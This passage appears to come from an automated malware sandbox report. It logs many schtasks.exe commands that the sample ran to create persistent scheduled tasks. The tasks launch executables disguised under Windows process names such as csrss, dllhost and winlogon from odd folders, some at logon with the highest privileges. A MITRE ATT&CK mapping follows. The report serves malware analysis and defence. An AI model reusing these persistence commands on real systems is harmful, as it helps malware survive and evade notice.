schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 9 /tr "'C:\Users\Admin\Recent\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2236

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\Admin\Recent\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1312

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 11 /tr "'C:\Users\Admin\Recent\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 8 /tr "'C:\Program Files\Mozilla Firefox\defaults\pref\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4276

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Program Files\Mozilla Firefox\defaults\pref\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3312

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 7 /tr "'C:\Program Files\Mozilla Firefox\defaults\pref\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5116

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1648

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Windows\CbsTemp\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1712

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\CbsTemp\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 7 /tr "'C:\Windows\CbsTemp\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2908

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 7 /tr "'C:\odt\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\odt\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:940

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 7 /tr "'C:\odt\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4204

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 10 /tr "'C:\Program Files\Uninstall Information\taskhostw.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 12 /tr "'C:\Program Files\Uninstall Information\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3496

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Windows\PLA\Templates\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Windows\PLA\Templates\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:208

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Windows\PLA\Templates\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4060

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Windows\RemotePackages\RemoteDesktops\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3032

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 8 /tr "'C:\Windows\RemotePackages\RemoteDesktops\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 11 /tr "'C:\Windows\RemotePackages\RemoteDesktops\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4536

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 11 /tr "'C:\Users\Default\AppData\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2132

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Users\Default\AppData\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3932

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 8 /tr "'C:\Users\Default\AppData\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3788

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows NT\Accessories\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:484

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Program Files\Windows NT\Accessories\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows NT\Accessories\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3256

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2096

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Program Files\Common Files\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4940

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 13 /tr "'C:\Program Files\Common Files\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 9 /tr "'C:\Program Files\Common Files\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2692

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\odt\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:832

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\odt\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4608

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\odt\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2244

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 6 /tr "'C:\odt\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3652

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\odt\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4388

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\odt\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1644

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5100

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5000

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...